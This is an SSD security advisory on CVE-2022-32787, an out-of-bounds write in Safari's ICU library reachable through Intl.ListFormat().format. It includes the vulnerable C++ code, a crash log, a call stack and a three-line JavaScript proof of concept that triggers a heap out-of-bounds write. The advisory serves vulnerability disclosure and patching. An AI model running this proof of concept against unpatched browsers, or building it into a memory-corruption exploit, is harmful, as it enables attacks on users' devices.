SSD Advisory – Apple Safari ICU Out-Of-Bounds Write

TL;DR

An Out-Of-Bounds Write vulnerability exists in Apple Safari ICU components libicucore.A.dylib [icu::FormattedStringBuilder::insert]. This library is called when Safari handles the Intl.ListFormat().format function.

Vulnerability Summary

A vulnerability in Apple Safari ICU components allows an attacker to trigger an OOB Write vulnerability in Safari, which in turn can be used to write to an arbitrary address, arbitrary data.

Credit

The security researcher, Dohyun Lee from SSD Labs (Korea), has reported this to the SSD Secure Disclosure program.

Affected Versions

  • iOS 15.6 or iPadOS 15.6 before
  • Monterey 12.5 before
  • Big Sur 11.6.8 before
  • 2022-005 Catalina before
  • watchOS 8.7 before
  • tvOS 15.6 before

CVE

CVE-2022-32787

Vendor Response

iOS 15.6 and iPadOS 15.6 addresses the following issues. Information about the security content is also available at: https://support.apple.com/HT213346.

Vulnerability Analysis

A vulnerability in the way Safari handles incoming data sent to the ICU component allows manipulation of the a pointer address in a way that allows attackers that are able to run arbitrary Javascript to obtain a primitive Out of Bounds write.

As can be seen in the below code:

int32_t
FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, int32_t start, int32_t end,
                            Field field, bool addBidiIsolates, UErrorCode &status) {
    int32_t count = end - start;
    int32_t realCount = count + (addBidiIsolates ? 2 : 0);
    int32_t position = prepareForInsert(index, realCount, status); // [1]
    if (U_FAILURE(status)) {
        return realCount;
    }
    if (addBidiIsolates) {
        getCharPtr()[position] = u'\u2068'; // U+2068 FIRST STRONG ISOLATE
        getFieldPtr()[position] = field;
        ++position;
    }
    for (int32_t i = 0; i < count; i++) {
        getCharPtr()[position + i] = unistr.charAt(start + i); // [2]
        getFieldPtr()[position + i] = field;
    }
    if (addBidiIsolates) {
        getCharPtr()[position + count] = u'\u2069'; // U+2069 POP DIRECTIONAL ISOLATE
        getFieldPtr()[position + count] = field;
    }
    return realCount;
}

​​[1] The position variable of FormattedStringBuilder::insert is the return value of prepareForInsert. This very large value is in the position variable.

If you check the register and [2], you can see that the value is written to the appropriate location and you can check that the vulnerability occurred while moving the memory.

[1] formatted_string_builder.cpp#L184
​[2] formatted_string_builder.cpp#L194

By manipulating this return value you can trigger a crash:

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x00007fac10100000
Exception Codes:       0x0000000000000001, 0x00007fac10100000
Exception Note:        EXC_CORPSE_NOTIFY
​
Termination Reason:    Namespace SIGNAL, Code 11 Segmentation fault: 11
Terminating Process:   exc handler [97775]

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000077ffffff  rbx: 0x000000077a000020  rcx: 0x00007fab0ff00000  rdx: 0x0000000080100000
  rdi: 0x0000000008100001  rsi: 0x0000000008100001  rbp: 0x00007ff7b726ee80  rsp: 0x00007ff7b726ee40
   r8: 0x00007fad30c044d0   r9: 0x0000000077ffffff  r10: 0x00007fad320197d2  r11: 0x0000000007effffd
  r12: 0x00007fad30c04478  r13: 0x00007fad320197c8  r14: 0x0000000000000061  r15: 0x0000000000000031
  rip: 0x00007ff815c6a949  rfl: 0x0000000000010202  cr2: 0x00007fac10100000

Logical CPU:     10
Error Code:      0x00000006 (no mapping for user data write)
Trap Number:     14
​
Thread 0 instruction stream:
  58 44 88 3c 0a ff c0 4d-8d 44 24 58 83 7d d0 00  XD.<...M.D$X.}..
  7e 7c 4d 8d 55 0a 4c 63-c8 48 63 fb 44 8b 5d d0  ~|M.U.Lc.Hc.D.].
  31 f6 4c 89 ca 41 0f b7-4d 08 66 85 c9 79 06 41  1.L..A..M.f..y.A
  8b 5d 0c eb 05 89 cb c1-eb 05 66 41 be ff ff 39  .]........fA...9
  fb 76 11 4c 89 d3 f6 c1-02 75 04 49 8b 5d 18 44  .v.L.....u.I.].D
  0f b7 34 7b 41 80 3c 24-00 74 14 49 8b 4c 24 08  ..4{A.<$.t.I.L$.
 [66]44 89 34 51 49 8b 5c-24 58 48 89 d1 eb 0d 4a  fD.4QI.\$XH....J    <==
  8d 0c 0e 66 45 89 74 54-08 4c 89 c3 44 88 3c 0b  ...fE.tT.L..D.<.
  48 ff c6 48 ff c2 48 ff-c7 49 ff cb 75 97 80 7d  H..H..H..I..u..}
  10 00 74 2f 41 80 3c 24-00 74 17 49 8b 4c 24 08  ..t/A.<$.t.I.L$.
  03 45 d0 48 98 66 c7 04-41 69 20 4d 8b 44 24 58  .E.H.f..Ai M.D$X
  eb 0d 03 45 d0 48 98 66-41 c7 44 44 08 69 20 45  ...E.H.fA.DD.i E

Here we can estimate as Out-Of-Bounds write:

VM Regions Near 0x7fa13e1c1000:
    MALLOC_LARGE             7fa1361c1000-7fa13e1c1000 [128.0M] rw-/rwx SM=PRV  
--> 
    MALLOC_TINY              7fa168c00000-7fa168d00000 [ 1024K] rw-/rwx SM=COW  

If you look at the above information, you can see that Out-Of-Bounds Write occurred in the heap area in the relevant area.

Call stack

Thread 0 Crashed::  Dispatch queue: com.apple.main-thread
0   libicucore.A.dylib                    0x7ff815c6a949 icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, int, int, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 213
1   libicucore.A.dylib                    0x7ff815c6a85a icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 108
2   libicucore.A.dylib                    0x7ff815c74319 0x7ff815b32000 + 1319705
3   libicucore.A.dylib                    0x7ff815c73efb icu::ListFormatter::formatStringsToValue(icu::UnicodeString const*, int, UErrorCode&) const + 653
4   libicucore.A.dylib                    0x7ff815c73b8d icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, int, int&, UErrorCode&) const + 85
5   libicucore.A.dylib                    0x7ff815c73b2e icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, UErrorCode&) const + 38
6   libicucore.A.dylib                    0x7ff815d30990 ulistfmt_format + 394
7   JavaScriptCore                        0x7ff82c2b476e JSC::IntlListFormat::format(JSC::JSGlobalObject*, JSC::JSValue) const + 174
8   ???                                   0x425da5a041d8 ???
9   JavaScriptCore                        0x7ff82c2e4121 llint_entry + 119034
10  JavaScriptCore                        0x7ff82c2c6e26 vmEntryToJavaScript + 216
11  JavaScriptCore                        0x7ff82c9c53fe JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::JSGlobalObject*, JSC::JSObject*) + 15022
12  JavaScriptCore                        0x7ff82cc4ea95 JSC::evaluate(JSC::JSGlobalObject*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 245
13  WebCore                               0x7ff915f650f4 WebCore::JSExecState::profiledEvaluate(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 84
14  WebCore                               0x7ff915f64dcc WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&) + 188
15  WebCore                               0x7ff9162f8ea7 WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) + 711
16  WebCore                               0x7ff914e4ff01 WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) + 6929
17  WebCore                               0x7ff9165b31e2 WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) + 386
18  WebCore                               0x7ff914e06e90 WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) + 576
19  WebCore                               0x7ff9165a8f84 WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl, WTF::RawPtrTraits<WTF::StringImpl>, WTF::DefaultRefDerefTraits<WTF::StringImpl> >&&, WebCore::HTMLDocumentParser::SynchronousMode) + 1732
20  WebCore                               0x7ff916246ddc WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) + 204
21  WebCore                               0x7ff914e0654d WebCore::DocumentWriter::end() + 77
22  WebCore                               0x7ff9167517db WebCore::DocumentLoader::finishedLoading() + 667
23  WebCore                               0x7ff9167ed32f WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&) + 95
24  WebCore                               0x7ff9167ebcf9 WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) + 409
25  WebCore                               0x7ff9167bd817 WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) + 999
26  WebKit                                0x7ff9180e9783 WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) + 207
27  WebKit                                0x7ff9182621b5 WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) + 333
28  WebKit                                0x7ff917d5d28e IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) + 604
29  WebKit                                0x7ff917d5f87b WTF::Detail::CallableWrapper<IPC::Connection::enqueueIncomingMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)::$_13, void>::call() + 197
30  JavaScriptCore                        0x7ff82d13adcf WTF::RunLoop::performWork() + 431
31  JavaScriptCore                        0x7ff82d13b8ba WTF::RunLoop::performWork(void*) + 26
32  CoreFoundation                        0x7ff813863aeb __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 17
33  CoreFoundation                        0x7ff813863a53 __CFRunLoopDoSource0 + 180
34  CoreFoundation                        0x7ff8138637cd __CFRunLoopDoSources0 + 242
35  CoreFoundation                        0x7ff8138621e8 __CFRunLoopRun + 892
36  CoreFoundation                        0x7ff8138617ac CFRunLoopRunSpecific + 562
37  Foundation                            0x7ff8146b5d9a -[NSRunLoop(NSRunLoop) runMode:beforeDate:] + 216
38  Foundation                            0x7ff8147408d7 -[NSRunLoop(NSRunLoop) run] + 76
39  libxpc.dylib                          0x7ff8134e1816 _xpc_objc_main + 773
40  libxpc.dylib                          0x7ff8134e1239 xpc_main + 99
41  WebKit                                0x7ff917bed759 WebKit::XPCServiceMain(int, char const**) + 85
42  dyld                                     0x11811e51e start + 462

Proof of Concept

<script>
	var ssd = "a".repeat(0xFFFFFFE);
	new Intl.ListFormat().format(Array(16).fill(ssd)).length;
</script>